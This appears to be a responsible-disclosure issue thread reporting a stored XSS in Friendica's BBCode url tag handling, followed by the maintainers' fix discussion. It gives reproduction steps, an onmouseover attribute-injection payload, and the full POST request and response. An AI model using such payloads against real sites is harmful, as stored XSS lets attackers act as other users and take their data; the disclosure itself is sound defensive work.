Stored XSS in post content using BBCode tags

[snajafov]

Hello Friendica Team!

Issue detail

I found a vulnerability issue while testing Friendica locally. The vulnerability allows to inject a payload in a post using BBCode tags causing a stored XSS affecting all the users that can read the post.

Vulnerability Description

The vulnerability allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data.

Steps to reproduce

1. Login to the application.
2. Create a new post with the following content: [url=http://www.example.com" onmouseover="alert('XSS')]text[/url]
3. Share the post.
4. Hover the mouse on the post.
5. Observe the payload being triggered.

Proof of Concept

The request:

POST /item HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------169361099534630346031966654297
Content-Length: 1751
Origin: http://localhost
Connection: close
Referer: http://localhost/profile/snajafov
Cookie: flash=no; _ga=GA1.1.912797092.1706817399; _ga_98KMNYED26=GS1.1.1706821804.4.0.1706821804.0.0.0; PHPSESSID=798fd11033df12e4df9d01086fbf993e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="jot"


-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="wall"

1
-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="post_type"

0
-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="profile_uid"

2
-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="location"


-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="coord"


-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="post_id"


-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="preview"

0
-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="post_id_random"

5057498276429106
-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="title"

XSS
-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="body"

[url=http://www.example.com" onmouseover="alert('Hello')]text[/url]

-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="visibility"

public
-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="emailcc"


-----------------------------169361099534630346031966654297
Content-Disposition: form-data; name="scheduled_at"


-----------------------------169361099534630346031966654297--

The response

HTTP/1.1 200 OK
Date: Fri, 09 Feb 2024 18:45:52 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.1.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Account-Management-Status: active; name="Sanan"; id="snajafov"
Vary: Accept-Language
X-RESPONSE-TYPE: json
Content-Length: 20
Connection: close
Content-Type: application/json

{
    "success": 1
}

Payload triggered

More details

A similar issue with possible injection using BBCode tags was solved back in the days. Currently the payload present in that issue is not executed, however it seems like it's still possible to cause an injection using a different approach as described here.

References

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CAPEC-592: Stored XSS
Stored XSS
Cross Site Scripting Prevention Cheat Sheet

Platform Info

This is Friendica, version 2023.12 that is running at the web location http://localhost. The database version is 1542/1542, the post update version is 1507/1507.

Apache version: Apache/2.4.56
PHP version: PHP/8.1.27
DB version: 11.2.2-MariaDB

[annando]

I can't reproduce this issue. On my system the HTML gets rid of this stuff, when HTML::purify is called. There seems to be cases where the purification doesn't do what it should do. To add an additional safety layer, I created the PR #13889.

[snajafov]

Do you get a picture of a "document" under "text" like in the screenshot I shared? The payload is triggered when hovering a mouse on that element.
I guess maybe a browser is making a difference. I tested on Firefox with default configurations.
I also tested some other fields in the application that mention BBCode support, but was able to gain successful XSS only in the post content and post comment fields.

[annando]

It's not browser specific. First I tested only the BBCode parser and not the storing of attachments. I now check at some other locations as well. This should fix it.

[snajafov]

Yes, it seems like it should fix the issue. Thank you for the clarification!

Do you mind if I request a CVE ID for the issue?